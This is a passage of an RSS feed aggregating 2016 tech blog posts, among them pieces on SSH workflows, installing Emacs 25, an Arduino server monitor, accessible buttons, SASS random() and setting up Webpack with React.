&lt;li&gt;&lt;a href="#multiplexing"&gt;Multiplexing&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="#homeshick"&gt;Homeshick&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;h2 id="introduction"&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Working over SSH can be impossibly frustrating if you're not using the right tools. 
I promised my teammates a write-up how I work over ssh.
Using these tools will make it significantly easier / more fun to work with a remote linux system …&lt;/p&gt;</description><author>blog.harterrt.com</author><pubDate>Mon, 05 Sep 2016 10:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.harterrt.com/working-over-ssh.html</guid></item><item><title>Jumping on the Emacs 25 bandwagon</title><link>https://xenodium.com/jumping-on-emacs-25-bandwagon</link><description>&lt;p&gt;Can't miss out on all the new fun. Emacs 25 RC2 is out and lots of people already using it. Since I'm mostly on MacOS these days, installing via homebrew with –devel, gets you RC2:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;brew install emacs --devel --with-cocoa --with-gnutls --with-librsvg --with-imagemagick
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/jumping-on-emacs-25-bandwagon/emacs25.png" /&gt;&lt;/p&gt;
&lt;p&gt;The only hiccup so far's been org mode failing to export, which was fixed by re-installing it (follow &lt;a href="https://lists.gnu.org/archive/html/emacs-orgmode/2015-08/msg00320.html"&gt;this thread&lt;/a&gt;).&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Mon, 05 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/jumping-on-emacs-25-bandwagon</guid></item><item><title>Links - September 5th, 2016</title><link>https://faingezicht.com/links/2016/09/05/links/</link><description/><author>Avy Faingezicht</author><pubDate>Mon, 05 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/09/05/links/</guid></item><item><title>Amandah Wood: Founder of Ways We Work</title><link>https://solomon.io/amandah-wood-founder-of-ways-we-work/</link><description>Amandah Wood is a writer, editor and founder of Ways We Work, a publication that dives into people doing work they love.</description><author>Sam Solomon</author><pubDate>Mon, 05 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/amandah-wood-founder-of-ways-we-work/</guid></item><item><title>Conservatism</title><link>https://ho.dges.online/words/commonplace/conservatism/</link><description>&lt;blockquote&gt;
&lt;p&gt;Conservatism: the feeling that somehow, somewhere someone you think is inferior is being treated as your equal.&lt;/p&gt;
&lt;/blockquote&gt;</description><author>ho.dges.online</author><pubDate>Mon, 05 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/words/commonplace/conservatism/</guid></item><item><title>Halt and Catch Fire: Season 1</title><link>https://olshansky.info/tv/halt_and_catch_fire_season_1/</link><description>Olshansky's review of Halt and Catch Fire: Season 1</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 03 Sep 2016 16:18:18 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/halt_and_catch_fire_season_1/</guid></item><item><title>Monitoring Linux Server with an Arduino</title><link>https://shyamjos.com/monitoring-linux-server-with-arduino/</link><description>&lt;p&gt;As usual I was so bored and wanted to build something cool on this weekend, So I ended up building an Arduino based Linux server monitoring solution for monitoring my Linux VPS.&lt;/p&gt;
&lt;p&gt;The idea was Simple, use an Arduino Ethernet module to make a get request to the php script hosted on the server and parse the response data (free -m,df -h,uptime) and display it on the LCD screen every one minute.&lt;/p&gt;
&lt;p&gt;And here is the demo of Arduino Linux monitor in action&lt;/p&gt;
&lt;h2 class="relative group" id="demo"&gt;Demo &lt;span class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100"&gt;&lt;a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" href="#demo"&gt;#&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;&lt;p&gt;






 
 
&lt;figure&gt;&lt;img alt="Arduino lcd" class="mx-auto my-0 rounded-md" src="https://shyamjos.com/assets/img/arduino-monitor/arduino-lcd.gif" /&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;If you are interested in this project you can download the Arduino sketch from my &lt;a href="https://github.com/shyamjos/Arduino_ServerMon" rel="noreferrer" target="_blank"&gt;github page&lt;/a&gt;.&lt;/p&gt;
&lt;h2 class="relative group" id="todo-list"&gt;Todo List &lt;span class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100"&gt;&lt;a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" href="#todo-list"&gt;#&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;Buzzer Notification upon increase in memory/cpu load..etc&lt;/li&gt;
&lt;li&gt;Use json instead of php page&lt;/li&gt;
&lt;/ul&gt;</description><author>Shyam Jos</author><pubDate>Sat, 03 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://shyamjos.com/monitoring-linux-server-with-arduino/</guid></item><item><title>How to sort a Set in Java example</title><link>https://studiofreya.org/java/how-to-sort-a-set-in-java-example/</link><description>&lt;p&gt;There are different versions of Java available with different ways to sort collections of objects. We will be showing examples of how to sort a set of objects or strings alphabetically in Java 8, Java 7 and older versions using comparator.&lt;/p&gt;
&lt;p&gt;For this example we will take a Person object and put them all in a set. Each Person have a name and we will sort our collection of Person object alphabetically. It means that we need to implement a comparator which compares Strings.&lt;/p&gt;</description><author>Studiofreya SSG Site</author><pubDate>Fri, 02 Sep 2016 23:08:15 GMT</pubDate><guid isPermaLink="true">https://studiofreya.org/java/how-to-sort-a-set-in-java-example/</guid></item><item><title>Importing .obj files, ugly polygons</title><link>http://www.nuke24.net/plog/17.html</link><author>TOGoS's Project Log</author><pubDate>Fri, 02 Sep 2016 21:13:37 GMT</pubDate><guid isPermaLink="true">http://www.nuke24.net/plog/17.html</guid></item><item><title>Always use button for clickable elements</title><link>https://muffinman.io/blog/always-use-button-for-clickable-elements/</link><description>&lt;article class="article"&gt;&lt;p&gt;Always try to use &lt;code&gt;&amp;lt;button&amp;gt;&lt;/code&gt; when  &lt;strong&gt;element is clickable, but it is not a link&lt;/strong&gt;.
Avoid &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; and other elements.&lt;/p&gt;
&lt;p&gt;Note that &lt;code&gt;display: flex&lt;/code&gt; works differently on buttons in different browsers,
but we have an easy fix for that.&lt;/p&gt;
&lt;h2 id="why"&gt;Why? &lt;a class="anchor-link" href="#why"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;You will get multiple benefits - user can &amp;quot;tab&amp;quot; to it,
and to activate it by pressing enter (that will trigger &lt;code&gt;click&lt;/code&gt; event).
There is no need to &lt;code&gt;preventDefault&lt;/code&gt; like when you are using &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt;.
User can&amp;#x27;t open it in the new tab/window, using right or middle click.
Screen readers recognize it out of the box.&lt;/p&gt;
&lt;p&gt;Long story short - it is way more accessible. And when you think about it,
it is actually really logical thing to do. Buttons are made to be clickable :)&lt;/p&gt;
&lt;h2 id="gotchas"&gt;Gotchas &lt;a class="anchor-link" href="#gotchas"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="buttons-in-forms"&gt;Buttons in forms &lt;a class="anchor-link" href="#buttons-in-forms"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;If you need your clickable button to be in a form, remember to put &lt;code&gt;type=&amp;#x27;button&amp;#x27;&lt;/code&gt; to it,
as default button type is &lt;code&gt;submit&lt;/code&gt;, and it will submit your form on click.
Again, you could use &lt;code&gt;preventDefault&lt;/code&gt;, but I think this is a way cleaner approach.&lt;/p&gt;
&lt;h3 id="button-flex-maddnes"&gt;Button flex maddnes &lt;a class="anchor-link" href="#button-flex-maddnes"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;For some reason &lt;code&gt;display: flex&lt;/code&gt; on buttons is behaving really different across browsers.
It is crazy! If you don&amp;#x27;t believe me, just check the examples below.&lt;/p&gt;
&lt;p&gt;The easiest fix is to add another div in (to wrap button content), and apply &lt;code&gt;display: flex&lt;/code&gt; to it.
From there on, you should be fine. I made a CodePen with an example.
On the left side, you can see a button with flex applied directly to it,
and on the right, a button with inner div and flex applied to it.&lt;/p&gt;
&lt;p&gt;I overcame my laziness and made a bunch of cross browser screenshots.
Original CodePen is included at the end.&lt;/p&gt;
&lt;p&gt;At the moment, it seems only Chrome gets it right.&lt;/p&gt;
&lt;hr /&gt;
&lt;h4 id="chrome"&gt;Chrome &lt;a class="anchor-link" href="#chrome"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;figure class="image__figure"&gt;&lt;img alt="Display flex on buttons, Chrome" height="210" src="./chrome.png" width="800" /&gt;&lt;/figure&gt;
&lt;h4 id="firefox"&gt;Firefox &lt;a class="anchor-link" href="#firefox"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;figure class="image__figure"&gt;&lt;img alt="Display flex on buttons, Firefox" height="207" src="./firefox.png" width="800" /&gt;&lt;/figure&gt;
&lt;h4 id="safari-8"&gt;Safari 8 &lt;a class="anchor-link" href="#safari-8"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;figure class="image__figure"&gt;&lt;img alt="Display flex on buttons, Safari 8" height="210" src="./safari8.png" width="800" /&gt;&lt;/figure&gt;
&lt;h4 id="safari-9"&gt;Safari 9 &lt;a class="anchor-link" href="#safari-9"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;figure class="image__figure"&gt;&lt;img alt="Display flex on buttons, Safari 9" height="210" src="./safari9.png" width="800" /&gt;&lt;/figure&gt;
&lt;h4 id="ie10"&gt;IE10 &lt;a class="anchor-link" href="#ie10"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;figure class="image__figure"&gt;&lt;img alt="Display flex on buttons, IE10" height="210" src="./ie10.png" width="800" /&gt;&lt;/figure&gt;
&lt;h4 id="ie11"&gt;IE11 &lt;a class="anchor-link" href="#ie11"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;figure class="image__figure"&gt;&lt;img alt="Display flex on buttons, IE11" height="210" src="./ie11.png" width="800" /&gt;&lt;/figure&gt;
&lt;h4 id="codepen"&gt;CodePen &lt;a class="anchor-link" href="#codepen"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Fri, 02 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/always-use-button-for-clickable-elements/</guid></item><item><title>FutureNet: Model-Driven Automation</title><link>https://rob.sh/post/futurenet/</link><description>&lt;div style="text-align: center;"&gt;

&lt;/div&gt;
&lt;div style="height: 30px;"&gt;&lt;/div&gt;
&lt;p&gt;Anees Shaikh and I presented at &lt;code&gt;future:net&lt;/code&gt; talking about automation work that
we&amp;rsquo;ve been doing in OpenConfig, and I shared some of the NMS implementation
I&amp;rsquo;ve been working on recently. Slides are linked below.&lt;/p&gt;
&lt;center&gt;
	&lt;a href="https://cdn.rob.sh/files/model_driven_automation_aas_rjs.pdf"&gt;
		&lt;img src="https://cdn.rob.sh/img/futurenet2016.png" style="width: 80%;" /&gt;
	&lt;/a&gt;
&lt;/center&gt;</description><author>rob.sh</author><pubDate>Thu, 01 Sep 2016 20:40:00 GMT</pubDate><guid isPermaLink="true">https://rob.sh/post/futurenet/</guid></item><item><title>Cerberus 1.0 has been released</title><link>https://nicolaiarocci.com/cerberus-1-0-released/</link><description>&lt;p&gt;After a one year long development cycle I am proud to announce that version 1.0 of &lt;a href="http://python-cerberus.org"&gt;Cerberus&lt;/a&gt;, the data validation and transformation tool for Python, is finally out. A while ago I wrote an article on the &lt;a href="http://nicolaiarocci.com/cerberus-1-0-coming-going-awesome/"&gt;new features and breaking changes&lt;/a&gt; that come with it, so please check it out carefully along with the &lt;a href="http://docs.python-cerberus.org/en/stable/changelog.html"&gt;changelog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I just wish to reiterate my gratitude towards all the contributors to the project. The ones who specifically worked on this awesome release, those who made it all possible, are: Matthew Ellison, Dominik Kellner, David Kirkendall, Damián Nohales, calve, Jonathan Huot, Roman Redkovich and of course the one and the only Frank Sachsenheim, whose role was pivotal to this release.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Thu, 01 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/cerberus-1-0-released/</guid></item><item><title>2016-09-01</title><link>https://ho.dges.online/pictures/2016-09-01/</link><description/><author>ho.dges.online</author><pubDate>Thu, 01 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2016-09-01/</guid></item><item><title>Links - August 30th, 2016</title><link>https://faingezicht.com/links/2016/08/30/links/</link><description/><author>Avy Faingezicht</author><pubDate>Tue, 30 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/08/30/links/</guid></item><item><title>SASS random() and circle animation</title><link>https://muffinman.io/blog/sass-random-and-circle-animation/</link><description>&lt;article class="article"&gt;&lt;p&gt;I decided to move my CSS playground to the CodePen, and this is the first one I made.&lt;/p&gt;
&lt;p&gt;Idea came to me while I was riding on a bus, and I might use it on this blog,
as a part of it&amp;#x27;s redesign.&lt;/p&gt;
&lt;p&gt;This is CSS only animation (I used JS to create 50 elements though).
And you can see the usage of SASS &lt;code&gt;random()&lt;/code&gt; function.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;random()&lt;/code&gt; will return random integer between 1 and &lt;code&gt;n&lt;/code&gt;, where &lt;code&gt;n&lt;/code&gt; is the number you pass to it.
Default param is 100.&lt;/p&gt;
&lt;p&gt;Note that random does not return 0.&lt;/p&gt;
&lt;p&gt;To get different random ranges just add or subtract your base.&lt;/p&gt;
&lt;p&gt;This will return number between 11 and 20.&lt;/p&gt;
&lt;pre class="language-scss"&gt;&lt;code class="language-scss code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token property"&gt;&lt;span class="token variable"&gt;$random-number&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; &lt;span class="token function"&gt;random&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;10&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token operator"&gt;+&lt;/span&gt; 10&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Same thing with negative numbers, this one covers the range between -10 and 10.&lt;/p&gt;
&lt;pre class="language-scss"&gt;&lt;code class="language-scss code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token property"&gt;&lt;span class="token variable"&gt;$random-number&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; &lt;span class="token function"&gt;random&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;21&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token operator"&gt;-&lt;/span&gt; 11&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Something to have in mind, new random numbers will be generated on every SASS compilation.
But once generated, CSS will stay static, until the next compilation.&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Tue, 30 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/sass-random-and-circle-animation/</guid></item><item><title>Live dmesg following</title><link>https://purpleidea.com/blog/2016/08/29/live-dmesg-following/</link><description>&lt;p&gt;&lt;a href="https://purpleidea.com/blog/2012/11/18/continuous-display-of-log-files-better-tail-f/"&gt;All good sysadmins eventually learn about using tail -F to tail files. Yes upper-case F is superior.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Around the time I wrote that article, I remember wanting to stream &lt;code&gt;dmesg&lt;/code&gt; output too! The functionality wasn&amp;rsquo;t available without some sort of polling hack, but it turns out that kernel support for this actually landed around the same time in version 3.5.0!&lt;/p&gt;
&lt;p&gt;Most GNU/Linux distros are probably running a new enough version by now, and you can now &lt;code&gt;dmesg &amp;ndash;follow&lt;/code&gt; (or &lt;code&gt;dmesg -w&lt;/code&gt;):&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Mon, 29 Aug 2016 12:00:39 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2016/08/29/live-dmesg-following/</guid></item><item><title>GPL Time-bomb an interesting approach to #FOSS licensing</title><link>https://boyter.org/2016/08/gpl-time-bomb-interesting-approach-foss-licensing/</link><description>&lt;p&gt;&lt;strong&gt;UPDATES&lt;/strong&gt; Following some &lt;a href="https://news.ycombinator.com/item?id=12459492"&gt;feedback&lt;/a&gt; I am going to rename my usage of &amp;ldquo;Time-Bomb&amp;rdquo; due to potential negative connotation on the words. I am going to call it &amp;ldquo;Eventually Open&amp;rdquo;. Also a few other things need mentioning. I am not looking for code submissions back into the source at this time. This was a move to show that there are no back-doors in the code sending source code back to a master server.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Mon, 29 Aug 2016 04:47:39 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2016/08/gpl-time-bomb-interesting-approach-foss-licensing/</guid></item><item><title>Setting up Webpack, Babel and React from scratch - Part 2</title><link>https://muffinman.io/blog/setting-up-webpack-babel-and-react-from-scratch-part-2/</link><description>&lt;article class="article"&gt;&lt;h2 id="part-two"&gt;Part two &lt;a class="anchor-link" href="#part-two"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Update: Part two is pretty much done. Part three will cover redux and production builds.&lt;/p&gt;
&lt;p&gt;Other parts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/blog/setting-up-webpack-babel-and-react-from-scratch"&gt;Part 1&lt;/a&gt; - Webpack, Babel, React, Router, ESLint&lt;/li&gt;
&lt;li&gt;Part 2 - SASS, More ES6 goodness (Static props, decorators, deconstruction...)&lt;/li&gt;
&lt;li&gt;&lt;a href="/blog/setting-up-webpack-babel-and-react-from-scratch-part-3"&gt;Part 3&lt;/a&gt; - Where to go from here&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="adding-sass"&gt;Adding SASS &lt;a class="anchor-link" href="#adding-sass"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;We will use SASS loader for webpack, so let&amp;#x27;s install it together with node-sass compiler,
css and style loaders&lt;/p&gt;
&lt;p&gt;npm install --save-dev style-loader css-loader sass-loader node-sass&lt;/p&gt;
&lt;p&gt;Create &lt;code&gt;scss&lt;/code&gt; folder in the &lt;code&gt;app&lt;/code&gt; folder, and main &lt;code&gt;app.scss&lt;/code&gt; file in it.
This file will include all of the other scss files.&lt;/p&gt;
&lt;p&gt;Now we need to add a loader to webpack config file.&lt;/p&gt;
&lt;pre class="language-shell"&gt;&lt;code class="language-shell code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;..&lt;/span&gt;.
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  test: /&lt;span class="token punctuation"&gt;\&lt;/span&gt;.scss$/,
&lt;/span&gt;&lt;span class="code-line"&gt;  loader: &lt;span class="token string"&gt;&amp;#x27;style!css!sass&amp;#x27;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;..&lt;/span&gt;.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will handle importing SCSS files in our JavaScript code.
So we need to import &lt;code&gt;app.scss&lt;/code&gt; manually in the JavaScript code.
You&amp;#x27;ll need to add only one line to your &lt;code&gt;app.js&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;import &amp;#x27;../scss/app.scss&amp;#x27;;&lt;/p&gt;
&lt;p&gt;This includes your styles by calling loaders we defined in the webpack config.&lt;/p&gt;
&lt;p&gt;Restart your webpack, and voala, now we have styles and hot reloading for them.
Try changing your styles to check it.&lt;/p&gt;
&lt;h3 id="source-maps"&gt;Source maps &lt;a class="anchor-link" href="#source-maps"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;To enable source maps, we&amp;#x27;ll pass the &lt;code&gt;sourceMap&lt;/code&gt; option to the sass and the css loaders.
Enable devtool, and update the loader&lt;/p&gt;
&lt;pre class="language-shell"&gt;&lt;code class="language-shell code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;..&lt;/span&gt;.
&lt;/span&gt;&lt;span class="code-line"&gt;  devtool: &lt;span class="token string"&gt;&amp;#x27;inline-source-map&amp;#x27;&lt;/span&gt;, // or &lt;span class="token string"&gt;&amp;#x27;source-map&amp;#x27;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  module: &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    loaders: &lt;span class="token punctuation"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;      &lt;span class="token punctuation"&gt;..&lt;/span&gt;.
&lt;/span&gt;&lt;span class="code-line"&gt;      &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;        test: /&lt;span class="token punctuation"&gt;\&lt;/span&gt;.scss$/,
&lt;/span&gt;&lt;span class="code-line"&gt;        loader: &lt;span class="token string"&gt;&amp;#x27;style!css?sourceMap!sass?sourceMap&amp;#x27;&lt;/span&gt;,
&lt;/span&gt;&lt;span class="code-line"&gt;      &lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token punctuation"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;..&lt;/span&gt;.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you want to read more, here&amp;#x27;s link to the
&lt;a href="https://github.com/jtangelder/sass-loader"&gt;official documentation&lt;/a&gt;&lt;/p&gt;
&lt;h3 id="autoprefixer"&gt;Autoprefixer &lt;a class="anchor-link" href="#autoprefixer"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Always use autoprefixer - I can&amp;#x27;t stress this enough.&lt;/p&gt;
&lt;p&gt;We&amp;#x27;ll need postcss loader, precss and autoprefixer&lt;/p&gt;
&lt;p&gt;npm install --save-dev postcss-loader precss autoprefixer&lt;/p&gt;
&lt;p&gt;At the top of our webpack config, require precss and autoprefixer&lt;/p&gt;
&lt;pre class="language-shell"&gt;&lt;code class="language-shell code-highlight"&gt;&lt;span class="code-line"&gt;const precss &lt;span class="token operator"&gt;=&lt;/span&gt; require&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token string"&gt;&amp;#x27;precss&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;const autoprefixer &lt;span class="token operator"&gt;=&lt;/span&gt; require&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token string"&gt;&amp;#x27;autoprefixer&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Update our sass loader config and and postcss config&lt;/p&gt;
&lt;pre class="language-shell"&gt;&lt;code class="language-shell code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;..&lt;/span&gt;.
&lt;/span&gt;&lt;span class="code-line"&gt;  module: &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    loaders: &lt;span class="token punctuation"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;      &lt;span class="token punctuation"&gt;..&lt;/span&gt;.
&lt;/span&gt;&lt;span class="code-line"&gt;      &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;        test: /&lt;span class="token punctuation"&gt;\&lt;/span&gt;.scss$/,
&lt;/span&gt;&lt;span class="code-line"&gt;        loader: &lt;span class="token string"&gt;&amp;#x27;style!css?sourceMap!postcss!sass?sourceMap&amp;#x27;&lt;/span&gt;,
&lt;/span&gt;&lt;span class="code-line"&gt;      &lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token punctuation"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token function-name function"&gt;postcss&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token builtin class-name"&gt;return&lt;/span&gt; &lt;span class="token punctuation"&gt;[&lt;/span&gt;autoprefixer, precss&lt;span class="token punctuation"&gt;]&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;..&lt;/span&gt;.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Restart webpack, and you should have autoprefixing in place.
Try adding &lt;code&gt;display: flex&lt;/code&gt; to one of the elements to check if autoprefixer added
&lt;code&gt;-ms-display: flex&lt;/code&gt; and &lt;code&gt;-webkit-display: flex&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Again here&amp;#x27;s link to the &lt;a href="https://github.com/postcss/postcss-loader"&gt;official documentation&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="method-shorthand"&gt;Method shorthand &lt;a class="anchor-link" href="#method-shorthand"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Note that&lt;/p&gt;
&lt;pre class="language-js"&gt;&lt;code class="language-js code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token spread operator"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token method function property-access"&gt;postcss&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token keyword control-flow"&gt;return&lt;/span&gt; &lt;span class="token punctuation"&gt;[&lt;/span&gt;autoprefixer&lt;span class="token punctuation"&gt;,&lt;/span&gt; precss&lt;span class="token punctuation"&gt;]&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;is the same as&lt;/p&gt;
&lt;pre class="language-js"&gt;&lt;code class="language-js code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token spread operator"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token method-variable function-variable method function property-access"&gt;postcss&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token keyword"&gt;function&lt;/span&gt; &lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token keyword control-flow"&gt;return&lt;/span&gt; &lt;span class="token punctuation"&gt;[&lt;/span&gt;autoprefixer&lt;span class="token punctuation"&gt;,&lt;/span&gt; precss&lt;span class="token punctuation"&gt;]&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;but only using &lt;a href="http://eslint.org/docs/rules/object-shorthand"&gt;method shorthand&lt;/a&gt;.
ES6 rules!&lt;/p&gt;
